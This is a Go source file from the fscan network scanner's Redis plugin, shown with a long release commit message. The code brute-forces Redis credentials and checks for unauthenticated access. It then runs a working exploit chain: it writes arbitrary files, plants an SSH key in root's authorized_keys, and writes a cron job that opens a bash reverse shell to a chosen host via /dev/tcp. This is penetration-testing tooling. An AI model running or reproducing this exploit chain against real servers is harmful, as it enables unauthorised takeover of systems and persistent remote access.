Files
fscan/plugins/services/redis.go
T
ZacharyZcRandr00t 2c2ca6ace3 v2.1.3 Release (#572)
* add CVE-2026-24061 detect logic  (#562)

* add CVE-2026-24061 detect logic

* fix(telnet): 修复 errcheck 警告,统一错误处理风格

---------

Co-authored-by: ZacharyZcR <[email protected]>

* fix: 修复 Hub 广播 data race 和端口扫描潜在死锁,清理死代码

- hub.go: broadcast 路径 RLock 改 Lock,修复并发 delete/close 竞争
- port_scan.go: pool.Invoke 失败时释放 wg 和 semaphore,防止死锁
- web_scanner.go: 删除只写不读的 fingerprintCache
- webtitle.go: 移除对已删除 SetFingerprints 的调用
- keylogger.go: 删除未使用的 stopChan 和 isRunning 字段

* refactor: context 穿透扫描生命周期,修复长驻插件阻塞和 Web Stop 无效

- RunScan 接受 context.Context,创建可取消上下文并穿透到所有策略和插件
- 长驻插件(forwardshell/socks5proxy/reverseshell)不再进入 scan WaitGroup,
  通过 ctx.Done() 管理生命周期,解除 wg.Wait() 死锁
- Web Stop API 从 stopChan 改为 context.CancelFunc,取消信号真正传播到扫描链路
- ExecuteScanTasks 和 executeScanTask 支持 context 取消检查,停止分发新任务
- CLI 模式传 context.Background(),行为完全不变

* fix: 修复 Web Stop 信号等待阻塞和 SMB 响应解析越界 panic

- scanner.go: 长驻插件等待信号时同时监听 ctx.Done(),Web Stop 可正常返回
- smb_protocol.go: 响应长度检查修正为 47,远端偏移量全部做边界校验

* fix: POC 扫描接入调用方 context,修复 cachedPocPath 竞争和 ProxyStats data race

- webscan/web_scan.go: WebScan 接受 ctx 参数,替换 context.Background();
  sync.Once 改为 sync.Mutex 保护 POC 加载,消除 cachedPocPath 并发写竞争
- webtitle.go: ctx 从 Scan 穿透到 identifyFingerprintsMulti → triggerPocScan → WebScan
- webpoc.go: 传递 ctx 到 WebScan
- proxy/types.go: ProxyStats 增加 sync.Mutex
- proxy/manager.go: LastConnectTime/LastError/AverageConnectTime 读写加锁

* fix: 修复 ProxyStats 含 mutex 导致的 copylocks 告警

Stats() 方法改为手动构造副本,避免值拷贝复制 sync.Mutex

* fix: 补全 HTTP/TLS proxy stats 加锁,修复 RPC/SMB 解析越界和 POC 加载逻辑

- httpdialer.go/tlsdialer.go: LastError/LastConnectTime/AverageConnectTime 加 mutex
- findnet.go: RPC 响应结束标记位置 < 4 时跳过截断,防止负数切片 panic
- ms17010.go: SMB 会话响应最小长度改为 45,sessionSetupResponse 加长度校验
- web_scan.go: POC 加载失败时不标记 pocLoaded,允许后续重试
- Eval.go: DNSLog 配置去掉 sync.Once,允许多次扫描更新配置

* fix: Web 全局状态同步、字典文件错误提示、长驻插件连接可取消

- scan.go: Web API 构建 config/state 后同步到全局实例
- config_builder.go: 用户名/密码/URL 文件读取失败时输出错误日志
- reverseshell.go: 读命令设 1s 超时,超时后检查 ctx 实现可取消
- forwardshell.go: handleClient 接受 ctx,取消时关闭连接解除阻塞
- socks5proxy.go: handleClient 接受 ctx,取消时关闭连接解除 IO 阻塞

* refactor: 引入 ScanSession,替代全局状态穿透扫描管道 (Phase 1-3)

- 新增 common/session.go: ScanSession 结构体封装 Config/State/Params/Dialer
- RunScan/Strategy/ExecuteScanTasks/executeScanTask 全部接收 session
- Plugin 接口从 Scan(ctx, info, config, state) 改为 Scan(ctx, info, session)
- 48 个插件实现统一更新签名
- Web API 构建 ScanSession 传给 RunScan
- CLI 模式通过 Initialize() 创建 session

* refactor: 全量替换 WrapperTcpWithTimeout 为 session.DialTCP (Phase 4)

- core/port_scan.go: EnhancedPortScan/connectWithRetry/scanSinglePort 接入 session
- core/service_probe.go: SmartPortInfoScanner 持有 session,重连走 session.DialTCP
- core/icmp.go: CheckLive/tcpProbeAlive 接入 session
- 17 个 service 插件: 内部 helper 函数全部穿透 ctx+session
- 移除插件中冗余的手动 TCP 计数(DialTCP 内部已处理)
- plugins/core 下已无 WrapperTcpWithTimeout/SafeTCPDial 调用残留

* refactor: 清除 core/plugins 全局状态依赖,ProgressManager 缓存引用 (Phase 5)

- core/alive_scanner.go: GetFlagVars() → session.Params
- core/service_scanner.go: GetFlagVars() → session.Params 和 config.Target.Ports
- common/progress_manager.go: 缓存 State 和 NoColor 到字段,不再运行时读全局
- common/output_api.go: SaveResult 改用 GetGlobalConfig().Output.DisableSave
- common/network.go: WrapperTcpWithTimeout 标记 Deprecated
- core/ 和 plugins/ 下已无全局状态调用残留

* fix: 修复 dialer timeout 锁死、CVE 检测绕过 session 和误报问题

* fix: 修复 pocDNSLog data race,穿透 ctx 到全链路,消除残余 net.DialTimeout 绕过

* perf: CVE-2026-24061 检测改并发执行,消除硬 sleep 用 deadline 替代

* feat: 项目缓存系统,跨扫描合并资产,缓存 host:port 避免漏报

* perf: 三阶段性能优化,ICMP 并发提升+TCP 并行探测,端口扫描退避调整,服务探测超时减半

* fix: 修复凭据测试清理 goroutine 无限阻塞导致的 goroutine 泄漏

* fix: 凭据测试连续网络错误短路、resultChan 缓冲防阻塞、timer 泄漏修复

* perf: 大规模扫描网段预筛,按 /24 探活跳过空子网,B 段扫描从 2h+ 降至 2min

* fix: 网段预筛从抽样改全覆盖,每台主机发 1 个探测包,消除漏报

* perf: 网段预筛增加网关启发式,.1/.254 多端口优先探测,命中即跳过逐主机兜底

* fix: MSSQL 连接加 encrypt=disable 修复无 TLS 环境扫描失败,Web API 参数校验负数

* feat: Release 增加 armv5 架构支持

* chore: bump version to 2.1.3

* fix: 锁定 golangci-lint 版本为 v2.12.1 修复 CI checksum 校验失败

* fix: golangci-lint 改用 go install 安装,绕过上游安装脚本 checksum 校验问题

* feat: -silent 模式输出 NDJSON 到 stdout,支持 AI agent 管道消费

- 新增 StdoutNDJSONWriter,silent 模式下每条扫描结果实时输出一行 JSON
- LogWithProgress 层拦截人类可读日志,绕过 logger sync.Once 初始化时序问题
- 支持 fscan -h xxx -silent | jq 管道用法

* fix rdp invalid random panic (#573)

* restore ms17010 legacy detection and exploit (#574)

* fix ms17010 legacy packet decoding (#574)

* fix csv web title output (#575)

* fix web result protocol output (#577)

* feat: add -ntp flag to disable TCP supplementary probe

* fix: skip TCP supplementary probe in icmp mode

* feat: add -debug flag with file logging to fscan_debug.log

* fix: resolve golangci-lint errcheck and staticcheck warnings

* fix: skip proxy deep verification for SOCKS5 connections (#579)

SOCKS5 protocol validates connection reachability at protocol level,
deep verification was incorrectly rejecting non-banner services like
SMB(445), RPC(139) and Kerberos(88).

* fix: exclude timeout from scan failure rate calculation (#578)

Timeout is a normal scan result when firewalls drop packets, not a
scan failure. Only resource exhaustion errors count toward failure rate.

* feat: flatten NDJSON output for AI agent consumption and add SKILL.md

* perf: 端口扫描自适应超时,基于 RTT 采样动态调整连接超时

* perf: 四项扫描性能优化

- SO_LINGER=0 快速释放连接,减少 TIME_WAIT 堆积
- 服务探测超时自适应,RTT 采样约束读超时上限
- 端口扫描结果流式传递,pipeline 并行端口扫描和插件执行
- ICMP 批量预构建包和地址,减少发送循环开销

* perf: 六项性能优化

- DNS 解析缓存:sync.Map 缓存避免重复系统调用
- 凭据测试 TCP 预检:不可达目标直接跳过全部凭据
- Web 探测 HTTP Client 复用:全局共享连接池
- 端口扫描 Bloom Filter 去重:替代 map 降低内存
- 进度条 atomic 累加 + 50ms 节流渲染:消除锁竞争
- 服务探针预解码:Init 时预编译,运行时零解码开销

* refactor: replace bloom filter with map for deduplication

Bloom filter has false positive risk which can silently drop valid
scan results. Map provides exact deduplication with negligible memory
overhead at the scale of open ports (typically thousands, not millions).

* fix: credential TCP precheck bypass proxy and pipeline goroutine leak

- Skip TCP precheck when proxy is enabled, net.DialTimeout cannot
  reach targets behind SOCKS5/HTTP proxy
- Drain stream channel on ctx cancellation to prevent EnhancedPortScan
  goroutine from blocking on a full channel

* fix: stream channel 提前返回未关闭导致 goroutine 泄漏,服务探测超时下限 500ms

* fix: resolve golangci-lint errcheck and staticcheck warnings

---------

Co-authored-by: r00t <[email protected]>
2026-05-13 14:41:23 +08:00

624 lines
16 KiB
Go

//go:build plugin_redis || !plugin_selective
package services
import (
"bufio"
"context"
"fmt"
"io"
"net"
"os"
"path"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
// RedisPlugin Redis数据库扫描和利用插件
type RedisPlugin struct {
plugins.BasePlugin
}
// NewRedisPlugin 创建Redis插件
func NewRedisPlugin() *RedisPlugin {
return &RedisPlugin{
BasePlugin: plugins.NewBasePlugin("redis"),
}
}
// Scan 执行Redis扫描
func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
// 如果禁用暴力破解,只做服务识别
if config.DisableBrute {
return p.identifyService(ctx, info, session)
}
// 首先检查未授权访问
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet
// 如果需要利用,重新建立连接执行
if p.shouldExploit(config) {
p.exploitWithPassword(ctx, info, "", session)
}
return result
}
// 生成测试凭据
credentials := GenerateCredentials("redis", config)
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
testConfig.Concurrency = 20 // Redis 默认并发度更高
result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig)
// 如果成功,记录并执行利用
if result.Success {
common.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet
// 如果需要利用,重新建立连接执行
if p.shouldExploit(config) {
p.exploitWithPassword(ctx, info, result.Password, session)
}
}
return result
}
// createAuthFunc 创建Redis认证函数
func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doRedisAuth(ctx, info, cred, session)
}
}
// doRedisAuth 执行Redis认证
func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
target := info.Target()
timeout := session.Config.Timeout
// 建立TCP连接
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
return &AuthResult{
Success: false,
ErrorType: classifyRedisErrorType(err),
Error: err,
}
}
// 如果有密码,进行认证
if cred.Password != "" {
authCmd := fmt.Sprintf("AUTH %s\r\n", cred.Password)
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: writeErr,
}
}
_ = conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 512)
n, readErr := conn.Read(response)
if readErr != nil {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: readErr,
}
}
responseStr := string(response[:n])
if !strings.Contains(responseStr, "+OK") {
_ = conn.Close()
errType := ErrorTypeUnknown
if strings.Contains(responseStr, "WRONGPASS") ||
strings.Contains(responseStr, "invalid password") ||
strings.Contains(responseStr, "ERR AUTH") ||
strings.Contains(responseStr, "NOAUTH") {
errType = ErrorTypeAuth
}
return &AuthResult{
Success: false,
ErrorType: errType,
Error: fmt.Errorf("redis认证失败: %s", strings.TrimSpace(responseStr)),
}
}
}
// 发送PING命令测试连接
pingCmd := "PING\r\n"
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, pingWriteErr := conn.Write([]byte(pingCmd)); pingWriteErr != nil {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: pingWriteErr,
}
}
_ = conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 512)
n, pingReadErr := conn.Read(response)
if pingReadErr != nil {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: pingReadErr,
}
}
responseStr := string(response[:n])
if !strings.Contains(responseStr, "PONG") {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeUnknown,
Error: fmt.Errorf("redis PING测试失败: %s", strings.TrimSpace(responseStr)),
}
}
return &AuthResult{
Success: true,
Conn: conn,
ErrorType: ErrorTypeUnknown,
Error: nil,
}
}
// classifyRedisErrorType Redis错误分类
func classifyRedisErrorType(err error) ErrorType {
if err == nil {
return ErrorTypeUnknown
}
redisAuthErrors := []string{
"wrongpass",
"invalid password",
"err auth",
"noauth authentication required",
"认证失败",
}
return ClassifyError(err, redisAuthErrors, CommonNetworkErrors)
}
// testUnauthorizedAccess 测试未授权访问
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
emptyCred := Credential{Username: "", Password: ""}
result := p.doRedisAuth(ctx, info, emptyCred, session)
if result.Success {
if result.Conn != nil {
_ = result.Conn.Close()
}
return &ScanResult{
Type: plugins.ResultTypeVuln,
Success: true,
Service: "redis",
VulInfo: "未授权访问",
}
}
return nil
}
// exploitWithPassword 使用指定密码建立连接并执行利用
func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, session *common.ScanSession) {
target := info.Target()
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
common.LogError(i18n.Tr("redis_reconnect_failed", err))
return
}
defer func() { _ = conn.Close() }()
// 如果有密码,先认证
if password != "" {
authCmd := fmt.Sprintf("AUTH %s\r\n", password)
_ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout))
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
return
}
_ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout))
response := make([]byte, 512)
if _, readErr := conn.Read(response); readErr != nil {
return
}
}
p.exploit(ctx, info, conn, password, session.Config)
}
// identifyService 服务识别
func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
timeout := session.Config.Timeout
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
return &ScanResult{
Success: false,
Service: "redis",
Error: err,
}
}
defer func() { _ = conn.Close() }()
// 发送PING命令识别
pingCmd := "PING\r\n"
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, writeErr := conn.Write([]byte(pingCmd)); writeErr != nil {
return &ScanResult{
Success: false,
Service: "redis",
Error: writeErr,
}
}
_ = conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 512)
n, readErr := conn.Read(response)
if readErr != nil {
return &ScanResult{
Success: false,
Service: "redis",
Error: readErr,
}
}
responseStr := string(response[:n])
var banner string
if strings.Contains(responseStr, "PONG") {
banner = "Redis服务 (PONG响应)"
} else if strings.Contains(responseStr, "-NOAUTH") {
banner = "Redis服务 (需要认证)"
} else if strings.Contains(responseStr, "-ERR") {
banner = "Redis服务 (协议响应)"
} else {
banner = "Redis服务"
}
common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
return &ScanResult{
Type: plugins.ResultTypeService,
Success: true,
Service: "redis",
Banner: banner,
}
}
// =============================================================================
// Redis利用核心函数
// =============================================================================
// shouldExploit 判断是否需要执行利用
func (p *RedisPlugin) shouldExploit(config *common.Config) bool {
return !config.Redis.Disabled &&
(config.Redis.File != "" ||
config.Redis.Shell != "" ||
(config.Redis.WritePath != "" &&
(config.Redis.WriteContent != "" || config.Redis.WriteFile != "")))
}
// exploit 执行Redis漏洞利用
func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config) {
if config.Redis.Disabled {
return
}
_ = conn.SetDeadline(time.Time{})
dbfilename, dir, err := p.getConfig(conn)
if err != nil {
common.LogError(i18n.Tr("redis_config_failed", err))
return
}
select {
case <-ctx.Done():
return
default:
}
// 任意文件写入
if config.Redis.WritePath != "" && config.Redis.WriteContent != "" {
dirPath := path.Dir(config.Redis.WritePath)
fileName := path.Base(config.Redis.WritePath)
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, config.Redis.WriteContent); writeErr != nil {
common.LogError(i18n.Tr("redis_write_failed", writeErr))
} else if success {
common.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath))
}
}
// 从本地文件读取并写入
if config.Redis.WritePath != "" && config.Redis.WriteFile != "" {
fileContent, readErr := os.ReadFile(config.Redis.WriteFile)
if readErr != nil {
common.LogError(i18n.Tr("redis_read_failed", readErr))
} else {
dirPath := path.Dir(config.Redis.WritePath)
fileName := path.Base(config.Redis.WritePath)
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, string(fileContent)); writeErr != nil {
common.LogError(i18n.Tr("redis_write_failed", writeErr))
} else if success {
common.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath))
}
}
}
// SSH密钥写入
if config.Redis.File != "" {
if success, _, keyErr := p.writeKey(conn, config.Redis.File); keyErr != nil {
common.LogError(i18n.Tr("redis_ssh_key_failed", keyErr))
} else if success {
common.LogVuln(i18n.GetText("redis_ssh_key_success"))
}
}
// 定时任务写入
if config.Redis.Shell != "" {
if success, _, cronErr := p.writeCron(conn, config.Redis.Shell); cronErr != nil {
common.LogError(i18n.Tr("redis_cron_failed", cronErr))
} else if success {
common.LogVuln(i18n.GetText("redis_cron_success"))
}
}
// 恢复配置
if err = p.recoverDB(dbfilename, dir, conn); err != nil {
common.LogError(i18n.Tr("redis_restore_failed", err))
}
}
// =============================================================================
// Redis利用辅助函数
// =============================================================================
func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
_ = conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
if len(bytes) > 0 {
err = nil
}
return string(bytes), err
}
// sendCmd 发送Redis命令并检查OK响应
// 返回响应文本、是否成功、错误
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, err error) {
if _, err = conn.Write([]byte(cmd)); err != nil {
return "", false, err
}
text, err = p.readReply(conn)
if err != nil {
return text, false, err
}
return text, strings.Contains(text, "OK"), nil
}
func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) {
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
return
}
text, err := p.readReply(conn)
if err != nil {
return
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
return
}
text, err = p.readReply(conn)
if err != nil {
return
}
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
exploitPaths := []string{"/root/.ssh", "/var/spool/cron", "/var/www/html", "/tmp"}
for _, exploitPath := range exploitPaths {
if strings.HasPrefix(dir, exploitPath) {
dir = "/data"
dbfilename = "dump.rdb"
break
}
}
return
}
func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) {
if _, err = fmt.Fprintf(conn, "CONFIG SET dbfilename %s\r\n", dbfilename); err != nil {
return
}
if _, err = p.readReply(conn); err != nil {
return
}
if _, err = fmt.Fprintf(conn, "CONFIG SET dir %s\r\n", dir); err != nil {
return
}
if _, err = p.readReply(conn); err != nil {
return
}
return
}
func (p *RedisPlugin) readFile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer func() { _ = file.Close() }()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
// 设置目录
text, ok, err := p.sendCmd(conn, fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 设置文件名
text, ok, err = p.sendCmd(conn, fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 写入内容
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"%s\"\r\n", safeContent))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 保存
text, ok, err = p.sendCmd(conn, "save\r\n")
if err != nil || !ok {
return false, p.truncateText(text), err
}
return true, p.truncateText(text), nil
}
// truncateText 截断文本到50字符
func (p *RedisPlugin) truncateText(text string) string {
text = strings.TrimSpace(text)
if len(text) > 50 {
return text[:50]
}
return text
}
func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) {
// 设置目录
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /root/.ssh/\r\n")
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 设置文件名
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename authorized_keys\r\n")
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 读取密钥文件
key, err := p.readFile(filename)
if err != nil {
return false, fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err), err
}
if len(key) == 0 {
return false, fmt.Sprintf("密钥文件 %s 为空", filename), nil
}
// 写入密钥
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 保存
text, ok, err = p.sendCmd(conn, "save\r\n")
if err != nil || !ok {
return false, p.truncateText(text), err
}
return true, p.truncateText(text), nil
}
func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) {
// 尝试设置cron目录(两个可能的路径)
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/crontabs/\r\n")
if err != nil {
return false, p.truncateText(text), err
}
if !ok {
// 尝试备用路径
text, ok, err = p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/\r\n")
if err != nil || !ok {
return false, p.truncateText(text), err
}
}
// 设置文件名
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename root\r\n")
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 解析目标地址
target := strings.Split(host, ":")
if len(target) < 2 {
return false, "主机地址格式错误", nil
}
scanIp, scanPort := target[0], target[1]
// 写入cron任务
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
text, ok, err = p.sendCmd(conn, cronCmd)
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 保存
text, ok, err = p.sendCmd(conn, "save\r\n")
if err != nil || !ok {
return false, p.truncateText(text), err
}
return true, p.truncateText(text), nil
}
func init() {
RegisterPluginWithPorts("redis", func() Plugin {
return NewRedisPlugin()
}, []int{6379, 6380, 6381, 16379, 26379})
}